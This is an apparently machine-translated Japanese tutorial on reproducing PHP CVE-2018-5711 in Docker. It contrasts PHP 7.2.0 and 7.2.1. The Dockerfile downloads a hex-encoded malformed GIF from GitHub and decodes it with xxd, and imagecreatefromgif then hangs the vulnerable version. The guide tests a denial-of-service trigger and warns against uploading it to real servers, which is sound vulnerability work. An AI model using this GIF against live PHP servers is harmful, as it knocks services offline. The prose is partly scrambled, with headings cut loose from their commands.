Dockerを使用してPHP CVE-2018-5711脆弱性をテスト
脆弱性の説明 PHP 5 < 5.6.33 PHP 7.0 < 7.0.27 PHP 7.1 < 7.1.13 PHP 7.2 < 7.2.1
リストされているのは、このシリーズの最高バージョンです.つまり、
この脆弱性を
コードのダウンロード
プロジェクトフォルダへ
構築に成功したら
見える
含む場合は表示
検証プログラムの実行
プログラムカードが死んでいるのが見えます.
コードのダウンロード
プロジェクトフォルダへ
構築に成功したら
見える
含む場合は表示
検証プログラムの実行
プログラムエラーが表示されます
2つの例の
まずベースミラーを設定
メンテナ情報
パッケージマネージャの更新
パッケージに従って、
サンプルファイルのトランスコード後のファイルをダウンロード
サンプル・ファイルのリストア
PHP
と番号付けされたCVE-2018-5711
の脆弱性は、PHP
を実行するサーバを瞬時にダウンタイムさせることができます.原理は、gd
ライブラリが特定の不正なフォーマットのgif
ピクチャに遭遇したときにCPU
を消費し、影響範囲は以下の通りです.リストされているのは、このシリーズの最高バージョンです.つまり、
gd
ライブラリを使用するPHP
のほとんどが、このために最高バージョンに更新する必要があります.この脆弱性を
Docker
で検証する方法を紹介します.ここでは、更新されていないサーバにアップロードした場合、サーバのダウンタイムの可能性を排除せず、経済的損失をもたらすという法律に違反することを強調する必要があります.git
リリースの脆弱性コードのダウンロード
git clone https://github.com/huzhenghui/Test-7-2-0-PHP-CVE-2018-5711.git
プロジェクトフォルダへ
cd Test-7-2-0-PHP-CVE-2018-5711
PHP 7.2.0
ミラーの構築docker build -t test-7-2-0-php-cve-2018-5711 .
構築に成功したら
Docker
バージョンを表示docker run --rm test-7-2-0-php-cve-2018-5711 -v
見える
PHP 7.2.0 (cli) (built: Jan 4 2018 01:20:58) ( NTS )
Copyright (c) 1997-2017 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2017 Zend Technologies
PHP
にPHP
ライブラリが含まれているかどうかを確認します.docker run --rm --entrypoint /bin/bash test-7-2-0-php-cve-2018-5711 -c 'php -m | grep -I gd'
含む場合は表示
gd
検証プログラムの実行
docker run --rm test-7-2-0-php-cve-2018-5711 -r '"imagecreatefromgif(\"poc.gif\");"'
プログラムカードが死んでいるのが見えます.
GD
はプロセスが使用するシステムリソースを制限しているため、ハングアップしない可能性がありますが、Docker
コマンドを使用して関連プロセスを殺す必要があります.docker kill
バージョンで修理済みコードのダウンロード
git clone https://github.com/huzhenghui/Test-7-2-1-PHP-CVE-2018-5711.git
プロジェクトフォルダへ
cd Test-7-2-1-PHP-CVE-2018-5711
PHP 7.2.1
ミラーの構築docker build -t test-7-2-1-php-cve-2018-5711 .
構築に成功したら
Docker
バージョンを表示docker run --rm test-7-2-1-php-cve-2018-5711 -v
見える
PHP 7.2.1 (cli) (built: Jan 8 2018 23:13:17) ( NTS )
Copyright (c) 1997-2017 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2017 Zend Technologies
PHP
にPHP
ライブラリが含まれているかどうかを確認します.docker run --rm --entrypoint /bin/bash test-7-2-1-php-cve-2018-5711 -c 'php -m | grep -I gd'
含む場合は表示
gd
検証プログラムの実行
docker run --rm test-7-2-1-php-cve-2018-5711 -r '"imagecreatefromgif(\"poc.gif\");"'
プログラムエラーが表示されます
Warning: imagecreatefromgif(): 'poc.gif' is not a valid GIF file in Command line code on line 1
GD
説明2つの例の
Dockerfile
の違いはバージョンのみであり、完全なDockerfile
は以下の通りである.FROM php:7.2.0
MAINTAINER huzhenghui hu@daonao.com
RUN apt-get update && \
apt-get install -y libpng-dev xxd && \
docker-php-ext-install gd && \
curl https://raw.githubusercontent.com/huzhenghui/Test-7-2-0-PHP-CVE-2018-5711/master/poc -o /poc && \
xxd -r /poc /poc.gif
まずベースミラーを設定
FROM php:7.2.0
メンテナ情報
MAINTAINER huzhenghui hu@daonao.com
パッケージマネージャの更新
apt-get update
パッケージに従って、
Dockerfile
はlibpng-dev
拡張子をコンパイルするために使用され、gd
はテキストファイルから不正なフォーマットファイルを生成するために使用され、このファイルはテキストがネットワークで伝播するのに適していないので、コードを転送する必要があります.apt-get install -y libpng-dev xxd
xxd
拡張子をインストールします.ここではdockerが提供するツールを使用します.docker-php-ext-install gd
サンプルファイルのトランスコード後のファイルをダウンロード
curl https://raw.githubusercontent.com/huzhenghui/Test-7-2-0-PHP-CVE-2018-5711/master/poc -o /poc
サンプル・ファイルのリストア
xxd -r /poc /poc.gif